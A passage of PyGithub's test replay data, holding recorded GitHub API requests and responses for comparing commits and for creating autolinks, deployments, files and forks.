SIGNATURE-----\n\nwsBcBAABCAAQBQJf2CnBCRBK7hj4Ov3rIwAAdHIIAAA+IDUcDmxT5CU2FINN7KFq\nnb5+ldtcluhl6OPIEyNShJTBIMPm0XePFRZLNvSdWb7PO/DepYykycMCjYdwHFqj\n23NUoEZ/AdvvH6xYDbUyr8vnXGudRTKvNKr98wV11B2JbOsJn+6DdmQ1iwfdNr0S\nXO0K809ROQ5CQXMNjp8ydwz/T6Q7WkVUfxnM6cYpvlHaG3lIXXuo+pbw9DSsfXP4\nCI05/vXd6b97wh5VztoZ4evTBu1gHCC+nQqvXLIWfmK+DUmRMUhIDhD0/5Sz5lR4\nAIHvDpp9rs3eshAJ2Dpu9p9VLCbxm19CgXSE3dh11oCXcEnNOVShJR7O3CuPqh4=\n=YZoY\n-----END PGP SIGNATURE-----\n","payload":"tree 26a66857d79da88f91e239a2b43f01eecb4b3b2b\nparent e113e37de1ec687c68337d777f3629251b35ab28\nauthor Steve Kowalik 1608001985 +1100\ncommitter GitHub 1608001985 +1100\n\nIgnore pyupgrade commit for git blame (#1785)\n\nSince the pyupgrade commit makes a large amount of changes, ignore the\r\ncommit by default with git blame."}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f299699ccd75910593d5ddf7cc6212f70c5c28b1","html_url":"https://github.com/PyGithub/PyGithub/commit/f299699ccd75910593d5ddf7cc6212f70c5c28b1","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f299699ccd75910593d5ddf7cc6212f70c5c28b1/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"e113e37de1ec687c68337d777f3629251b35ab28","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e113e37de1ec687c68337d777f3629251b35ab28","html_url":"https://github.com/PyGithub/PyGithub/commit/e113e37de1ec687c68337d777f3629251b35ab28"}]}]} https GET api.github.com None /repositories/3544490/compare/v1.54...v1.54.1?page=3&per_page=4 {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 24 Jan 2024 06:45:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9a04c6718bc5d4797539efa3888340cfbb5b64f05400ebb368bb3c7c9c796c39"'), ('Last-Modified', 'Thu, 24 Dec 2020 04:11:01 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="last", ; rel="first", ; rel="prev"'), ('x-accepted-github-permissions', 'contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4961'), ('X-RateLimit-Reset', '1706081414'), ('X-RateLimit-Used', '39'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B664:5B937:20893EC:20FD252:65B0B20A')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/compare/v1.54...v1.54.1","html_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1","permalink_url":"https://github.com/PyGithub/PyGithub/compare/PyGithub:951fcdf...PyGithub:34d097c","diff_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.diff","patch_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.patch","base_commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"merge_base_commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"status":"ahead","ahead_by":10,"behind_by":0,"total_commits":10,"commits":[{"sha":"31a1c007808a4205bdae691385d2627c561e69ed","node_id":"MDY6Q29tbWl0MzU0NDQ5MDozMWExYzAwNzgwOGE0MjA1YmRhZTY5MTM4NWQyNjI3YzU2MWU2OWVk","commit":{"author":{"name":"Edouard Benauw","email":"edouard.benauw@student.ecp.fr","date":"2020-12-24T04:09:32Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-12-24T04:09:32Z"},"message":"Pin pyjwt version (#1797)\n\n* Pin pyjwt version\r\n\r\nPyjwt version is not fixed, which can cause syntax error for user since the release of breaking changes from pyjwt (https://pypi.org/project/PyJWT/#history)\r\n\r\n* Update setup.py\r\n\r\nFixes #1796","tree":{"sha":"f1f0f4f89687db0bd578530bfde3711d648ca8b7","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f1f0f4f89687db0bd578530bfde3711d648ca8b7"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/31a1c007808a4205bdae691385d2627c561e69ed","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJf5BR8CRBK7hj4Ov3rIwAAdHIIAJPfqg6LN2GTPXBh2Dtf++2D\nxIFywirZ2SSdV4B6BR6EP9mtAstO2sD53qGgwtmpkvUooWQmE+2iBXxMNrTG6E4P\nrHVVNNulrDImNAUFNtndREZfNjrCveYXzfAvl9KduJqo7GHt75uPUlD7JjmzUWIk\n4ilUdGt/N52AKhXsjRgmbhdMrjw4/2aLwHLuLe0fbf/6YFu6tyGfeX9hkMJtUMuC\nx+hPcmXByzwDu9ZXB+VlMgvm51BhgtPujT3pKqoaGihiiiL6DONJBojpWkZRGoL1\nDEFOrFTwdwQmv7Ff+2nj0GCSdyPfsE/ErG1YjmgQE86PTJUATjaUycz0fBHsbBc=\n=crvV\n-----END PGP SIGNATURE-----\n","payload":"tree f1f0f4f89687db0bd578530bfde3711d648ca8b7\nparent f299699ccd75910593d5ddf7cc6212f70c5c28b1\nauthor Edouard Benauw 1608782972 +0100\ncommitter GitHub 1608782972 +1100\n\nPin pyjwt version (#1797)\n\n* Pin pyjwt version\r\n\r\nPyjwt version is not fixed, which can cause syntax error for user since the release of breaking changes from pyjwt (https://pypi.org/project/PyJWT/#history)\r\n\r\n* Update setup.py\r\n\r\nFixes #1796"}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/31a1c007808a4205bdae691385d2627c561e69ed","html_url":"https://github.com/PyGithub/PyGithub/commit/31a1c007808a4205bdae691385d2627c561e69ed","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/31a1c007808a4205bdae691385d2627c561e69ed/comments","author":null,"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"f299699ccd75910593d5ddf7cc6212f70c5c28b1","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f299699ccd75910593d5ddf7cc6212f70c5c28b1","html_url":"https://github.com/PyGithub/PyGithub/commit/f299699ccd75910593d5ddf7cc6212f70c5c28b1"}]},{"sha":"34d097ce473601624722b90fc5d0396011dd3acb","node_id":"MDY6Q29tbWl0MzU0NDQ5MDozNGQwOTdjZTQ3MzYwMTYyNDcyMmI5MGZjNWQwMzk2MDExZGQzYWNi","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-12-24T04:11:01Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-12-24T04:11:01Z"},"message":"Publish version 1.54.1","tree":{"sha":"7ad0475f15170e05abbb93a65d07370b9335d0fc","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/7ad0475f15170e05abbb93a65d07370b9335d0fc"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/34d097ce473601624722b90fc5d0396011dd3acb","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/34d097ce473601624722b90fc5d0396011dd3acb","html_url":"https://github.com/PyGithub/PyGithub/commit/34d097ce473601624722b90fc5d0396011dd3acb","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/34d097ce473601624722b90fc5d0396011dd3acb/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"31a1c007808a4205bdae691385d2627c561e69ed","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/31a1c007808a4205bdae691385d2627c561e69ed","html_url":"https://github.com/PyGithub/PyGithub/commit/31a1c007808a4205bdae691385d2627c561e69ed"}]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateAutolink.txt0000644000175100001660000000350614756101563024713 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/autolinks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_prefix": "DUMMY-", "url_template": "https://github.com/PyGithub/PyGithub/issues/"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Nov 2021 12:57:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '102'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"f90a1a598b996d3d1967b96c218459edde984e62d452623ff4aba2530a256b85"'), ('X-OAuth-Scopes', 'admin:repo_hook, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2021-11-09 12:40:40 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4947'), ('X-RateLimit-Reset', '1635859633'), ('X-RateLimit-Used', '53'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'C6E6:34FE:190079B:197523C:618135D3')] {"id":209614,"key_prefix":"DUMMY-","url_template":"https://github.com/PyGithub/PyGithub/issues/","is_alphanumeric":true} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateDeployment.txt0000644000175100001660000000706114756101563025245 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/deployments {'Accept': 'application/vnd.github.ant-man-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"ref": "743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5", "task": "deploy", "auto_merge": false, "required_contexts": [], "payload": {"test": true}, "environment": "test", "description": "Test deployment", "transient_environment": true, "production_environment": false} 201 [('Date', 'Mon, 31 Aug 2020 07:21:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1691'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"495f04c40f50b78b91de2a29a8918207"'), ('Last-Modified', 'Mon, 31 Aug 2020 07:21:10 GMT'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/PyGithub/PyGithub/deployments/263877258'), ('X-GitHub-Media-Type', 'github.ant-man-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1598861786'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'FB51:2C9E:D80A0F2:105065C6:5F4CA4E6')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/deployments/263877258","id":263877258,"node_id":"MDEwOkRlcGxveW1lbnQyNjM4NzcyNTg=","sha":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","ref":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","task":"deploy","payload":{"test":true},"original_environment":"test","environment":"test","description":"Test deployment","creator":{"login":"pascal-hofmann","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/pascal-hofmann","html_url":"https://github.com/pascal-hofmann","followers_url":"https://api.github.com/users/pascal-hofmann/followers","following_url":"https://api.github.com/users/pascal-hofmann/following{/other_user}","gists_url":"https://api.github.com/users/pascal-hofmann/gists{/gist_id}","starred_url":"https://api.github.com/users/pascal-hofmann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pascal-hofmann/subscriptions","organizations_url":"https://api.github.com/users/pascal-hofmann/orgs","repos_url":"https://api.github.com/users/pascal-hofmann/repos","events_url":"https://api.github.com/users/pascal-hofmann/events{/privacy}","received_events_url":"https://api.github.com/users/pascal-hofmann/received_events","type":"User","site_admin":false},"created_at":"2020-08-31T07:21:10Z","updated_at":"2020-08-31T07:21:10Z","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments/263877258/statuses","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","transient_environment":true,"production_environment":false,"performed_via_github_app":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateFile.txt0000644000175100001660000000521114756101563023777 0ustar00runnerdockerhttps PUT api.github.com None /repos/PyGithub/PyGithub/contents/doc/testCreateUpdateDeleteFile.md {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"author": {"date": "2016-01-15T16:13:30+12:00", "email": "enix223@163.com", "name": "Enix Yu"}, "branch": "master", "committer": {"date": "2016-01-15T16:13:30+12:00", "email": "enix223@163.com", "name": "Enix Yu"}, "content": "SGVsbG8gd29ybGQ=", "message": "Create file for testCreateFile"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4997'), ('content-length', '16'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f5cc2fa3ba4de95ac0eb8c2ca47350c0"'), ('date', 'Fri, 11 May 2012 11:43:09 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/contents/doc/testCreateUpdateDeleteFile.md')] {"content": {"name": "hello.txt", "url": "https://api.github.com/repos/PyGithub/contents/doc/testCreateUpdateDeleteFile.md", "html_url": "https://github.com/PyGithub/doc/testCreateUpdateDeleteFile.md", "download_url": "https://raw.githubusercontent.com/PyGithub/doc/testCreateUpdateDeleteFile.md", "sha": "95b966ae1c166bd92f8ae7d1c313e738c731dfc3", "_links": {"self": "https://api.github.com/repos/PyGithub/contents/doc/testCreateUpdateDeleteFile.md", "git": "https://api.github.com/repos/PyGithub/git/blobs/95b966ae1c166bd92f8ae7d1c313e738c731dfc3", "html": "https://github.com/PyGithub/PyGithub/blob/master/doc/testCreateUpdateDeleteFile.md"}, "git_url": "https://api.github.com/repos/PyGithub/PyGithub/git/blobs/95b966ae1c166bd92f8ae7d1c313e738c731dfc3", "path": "doc/testCreateUpdateDeleteFile.md", "type": "file", "size": 9}, "commit": {"committer": {"date": "2014-11-07T22:01:45Z", "name": "Enix Yu", "email": "enix223@gmail.com"}, "author": {"date": "2016-01-15T16:13:30+12:00", "name": "Enix Yu", "email": "enix223@gmail.com"}, "url": "https://api.github.com/repos/PyGithub/PyGithub/git/commits/7638417db6d59f3c431d3e1f261cc637155684cd", "tree": {"url": "https://api.github.com/repos/PyGithub/PyGithub/git/trees/691272480426f78a0138979dd3ce63b77f706feb", "sha": "691272480426f78a0138979dd3ce63b77f706feb"}, "html_url": "https://github.com/PyGithub/PyGithub/git/commit/7638417db6d59f3c431d3e1f261cc637155684cd", "sha": "7638417db6d59f3c431d3e1f261cc637155684cd", "parents": [{"url": "https://api.github.com/repos/PyGithub/PyGithub/git/commits/1acc419d4d6a9ce985db7be48c6349a0475975b5", "sha": "1acc419d4d6a9ce985db7be48c6349a0475975b5", "html_url": "https://github.com/PyGithub/PyGithub/git/commit/1acc419d4d6a9ce985db7be48c6349a0475975b5"}]}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateFork.txt0000644000175100001660000004143614756101563024032 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/forks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"organization": "prtg-dev"} 202 [('Date', 'Wed, 27 Nov 2019 23:00:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '16034'), ('Server', 'GitHub.com'), ('Status', '202 Accepted'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4932'), 